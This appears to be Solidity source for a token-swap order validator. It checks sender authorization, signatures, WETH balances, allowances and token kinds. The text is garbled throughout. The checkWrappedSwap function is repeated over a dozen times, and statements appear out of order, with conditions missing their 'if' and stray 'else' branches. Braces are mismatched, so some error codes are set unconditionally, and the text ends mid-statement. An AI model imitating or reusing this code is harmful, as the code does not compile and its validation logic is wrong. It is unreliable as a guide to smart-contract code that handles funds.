!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
if (
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
